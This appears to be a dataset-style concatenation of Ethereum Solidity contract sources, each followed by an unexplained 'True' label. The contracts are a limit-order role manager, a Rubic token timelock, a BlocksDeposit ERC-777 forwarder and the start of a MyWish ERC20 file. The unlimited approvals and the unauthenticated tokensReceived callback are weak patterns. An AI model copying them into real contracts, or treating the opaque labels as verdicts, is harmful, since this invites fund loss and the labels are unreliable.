} /** * @notice External view function to check whether or not the functionality * associated with a given role is currently paused or not. The owner or the * pauser may pause any given role (including the pauser itself), but only the * owner may unpause functionality. Additionally, the owner may call paused * functions directly. * @param role The role to check the pause status on. * @return paused A boolean to indicate if the functionality associated with * the role in question is currently paused. */ function isPaused(Role role) external view override returns (bool paused) { paused = _isPaused(role); } /** * @notice External view function to check whether the caller is the current * role holder. * @param role The role to check for. * @return hasRole A boolean indicating if the caller has the specified role. */ function isRole(Role role) external view override returns (bool hasRole) { hasRole = _isRole(role); } /** * @notice External view function to check the account currently holding the * bot commander role. The bot commander can execute limit orders. * @return botCommander The address of the current bot commander, or the null * address if none is set. */ function getBotCommander() external view override returns ( address botCommander ) { botCommander = _roles[uint256(Role.BOT_COMMANDER)].account; } /** * @notice External view function to check the account currently holding the * canceller role. The canceller can cancel limit orders. * @return canceller The address of the current canceller, or the null * address if none is set. */ function getCanceller() external view override returns ( address canceller ) { canceller = _roles[uint256(Role.CANCELLER)].account; } /** * @notice External view function to check the account currently holding the * pauser role. The pauser can pause any role from taking its standard action, * though the owner will still be able to call the associated function in the * interim and is the only entity able to unpause the given role once paused. * @return pauser The address of the current pauser, or the null address if * none is set. */ function getPauser() external view override returns (address pauser) { pauser = _roles[uint256(Role.PAUSER)].account; } /** * @notice Private function to enforce that a given meta-transaction * has not been used before and that the signature is valid according * to the account in question (using ERC-1271). * @param account address The account originating the meta-transaction. * @param context bytes Information about the meta-transaction. * @param signatures bytes Signature or signatures used to validate * the meta-transaction. */ function _validateMetaTransaction( address account, bytes memory context, bytes memory signatures ) private returns (bytes32 orderID) { // Construct the order ID using the provided context. orderID = keccak256(context); // Ensure ID has not been used or cancelled and invalidate it. require( !_invalidMetaTxHashes[orderID], "Order is no longer valid." ); _invalidMetaTxHashes[orderID] = true; // Construct the digest to compare signatures against using EIP-191 0x45. bytes32 digest = keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", orderID) ); // Validate via ERC-1271 against the specified account. bytes memory data = abi.encode(digest, context); bytes4 magic = ERC1271Interface(account).isValidSignature(data, signatures); require(magic == bytes4(0x20c13b0b), "Invalid signatures."); } /** * @notice Private function to set a new account on a given role and emit a * `RoleModified` event if the role holder has changed. * @param role The role that the account will be set for. * @param account The account to set as the designated role bearer. */ function _setRole(Role role, address account) private { RoleStatus storage storedRoleStatus = _roles[uint256(role)]; if (account != storedRoleStatus.account) { storedRoleStatus.account = account; emit RoleModified(role, account); } } /** * @notice Private function to perform a call to a given trade target, supplying * given data and value, and revert with reason on failure. */ function _performCallToTradeTarget( address target, bytes memory data, uint256 etherValue ) private { // Call into the provided target, supplying provided data. (bool tradeTargetCallSuccess,) = target.call{value: etherValue}(data); // Revert with reason if the call was not successful. if (!tradeTargetCallSuccess) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } else { // Ensure that the target is a contract. uint256 returnSize; assembly { returnSize := returndatasize() } if (returnSize == 0) { uint256 size; assembly { size := extcodesize(target) } require(size > 0, "Specified target does not have contract code."); } } } /** * @notice Private function to set approval for a given target to transfer tokens * on behalf of this contract. It should generally be assumed that this contract * is highly permissive when it comes to approvals. */ function _grantApprovalIfNecessary( ERC20Interface token, address target, uint256 amount ) private { if (token.allowance(address(this), target) < amount) { // Try removing approval first as a workaround for unusual tokens. (bool success, bytes memory returnData) = address(token).call( abi.encodeWithSelector( token.approve.selector, target, uint256(0) ) ); // Grant approval to transfer tokens on behalf of this contract. (success, returnData) = address(token).call( abi.encodeWithSelector( token.approve.selector, target, type(uint256).max ) ); if (!success) { // Some really janky tokens only allow setting approval up to current balance. (success, returnData) = address(token).call( abi.encodeWithSelector( token.approve.selector, target, amount ) ); } require( success && (returnData.length == 0 || abi.decode(returnData, (bool))), "Token approval to trade against the target failed." ); } } /** * @notice Private function to transfer tokens out of this contract. */ function _transferOutToken(ERC20Interface token, address to, uint256 amount) private { (bool success, bytes memory returnData) = address(token).call( abi.encodeWithSelector(token.transfer.selector, to, amount) ); if (!success) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } if (returnData.length == 0) { uint256 size; assembly { size := extcodesize(token) } require(size > 0, "Token specified to transfer out does not have contract code."); } else { require(abi.decode(returnData, (bool)), 'Token transfer out failed.'); } } /** * @notice Private function to transfer Ether out of this contract. */ function _transferEther(address recipient, uint256 etherAmount) private { // Send Ether to recipient and revert with reason on failure. (bool ok, ) = recipient.call{value: etherAmount}(""); if (!ok) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } /** * @notice Private function to transfer tokens into this contract. */ function _transferInToken(ERC20Interface token, address from, uint256 amount) private { (bool success, bytes memory returnData) = address(token).call( abi.encodeWithSelector(token.transferFrom.selector, from, address(this), amount) ); if (!success) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } if (returnData.length == 0) { uint256 size; assembly { size := extcodesize(token) } require(size > 0, "Token specified to transfer in does not have contract code."); } else { require(abi.decode(returnData, (bool)), 'Token transfer in failed.'); } } /** * @notice Private view function to check whether the caller is the current * role holder. * @param role The role to check for. * @return hasRole A boolean indicating if the caller has the specified role. */ function _isRole(Role role) private view returns (bool hasRole) { hasRole = msg.sender == _roles[uint256(role)].account; } /** * @notice Private view function to check whether the given role is paused or * not. * @param role The role to check for. * @return paused A boolean indicating if the specified role is paused or not. */ function _isPaused(Role role) private view returns (bool paused) { paused = _roles[uint256(role)].paused; } /** * @notice Private view function to construct the "context" or details that * need to be included when generating the order ID. * @return context bytes The context. */ function _constructLimitOrderContext( LimitOrderArguments memory args ) private view returns (bytes memory context) { context = abi.encode( address(this), args.account, args.assetToSupply, args.assetToReceive, args.maximumAmountToSupply, args.maximumPriceToAccept, args.expiration, args.salt ); } /** * @notice Private view function to ensure that a given expiration has * not elapsed, or is set to zero (signifying no expiration). */ function _enforceExpiration(uint256 expiration) private view { require( expiration == 0 || block.timestamp <= expiration, "Order has expired." ); } /** * @notice Modifier that throws if called by any account other than the owner * or the supplied role, or if the caller is not the owner and the role in * question is paused. * @param role The role to require unless the caller is the owner. Permitted * roles are bot commander (0), and canceller (1), and pauser (2). */ modifier onlyOwnerOr(Role role) { if (!isOwner()) { require(_isRole(role), "Caller does not have a required role."); require(!_isPaused(role), "Role in question is currently paused."); } _; } /** * @notice Modifier that throws if called by any account other than the owner, * a specified account, or the supplied role, or if the caller is not the * owner or the specified account and the role in question is paused. * @param role The role to require unless the caller is the owner or the * specified account. Permitted roles are bot commander (0), and canceller (1), * and pauser (2). */ modifier onlyOwnerOrAccountOr(Role role, address account) { if (!isOwner() && !(msg.sender == account)) { require(_isRole(role), "Caller does not have a required role."); require(!_isPaused(role), "Role in question is currently paused."); } _; } }

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/** *Submitted for verification at Etherscan.io on 2021-08-24 */ // SPDX-License-Identifier: MIT // File: Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: TokenTimelock.sol pragma solidity ^0.6.0; /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; constructor (IERC20 token, address beneficiary, uint256 releaseTime) public { // solhint-disable-next-line not-rely-on-time require(releaseTime > block.timestamp, "TokenTimelock: release time is before current time"); _token = token; _beneficiary = beneficiary; _releaseTime = releaseTime; } /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); _token.safeTransfer(_beneficiary, amount); } } // File: IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: browser/RubicTokenLock.sol pragma solidity ^0.6.0; contract RubicTokenLock is TokenTimelock { constructor () public TokenTimelock( IERC20(0x10db37f4d9b3bc32AE8303B46E6166F7e9652d28), // token 0x483557C3B44362eBDA69B9A1e9bb2C27073AE1Bd, // beneficiary 1633824000) { } }

True

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/** *Submitted for verification at Etherscan.io on 2021-11-23 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC777 { function name() external view returns (string memory); function symbol() external view returns (string memory); function granularity() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function send( address recipient, uint256 amount, bytes calldata data ) external; function burn(uint256 amount, bytes calldata data) external; function isOperatorFor(address operator, address tokenHolder) external view returns (bool); function authorizeOperator(address operator) external; function revokeOperator(address operator) external; function defaultOperators() external view returns (address[] memory); function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer( address account, bytes32 _interfaceHash, address implementer ) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } contract BlocksDeposit is IERC777Recipient, Ownable { using SafeMath for uint256; address public token = 0x8a6D4C8735371EBAF8874fBd518b56Edd66024eB; address public wallet; IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); event ERC20TokensRemoved(address tokenAddress, address sender, uint256 balance); event ERC777Send(address operator, address from, address to, uint256 amount, bytes userData, bytes operatorData); constructor(address _wallet) Ownable() { wallet = _wallet; _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function updateWallet(address _wallet) public onlyOwner { wallet = _wallet; } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override { emit ERC777Send(operator, from, to, amount, userData, operatorData); IERC20(token).transfer(wallet, amount); emit ERC20TokensRemoved(token, to, amount); } }

True

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/* * This file was generated by MyWish Platform (https://mywish.io/) * The complete code could be found at https://github.com/MyWishPlatform/ * Copyright (C) 2018 MyWish * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c 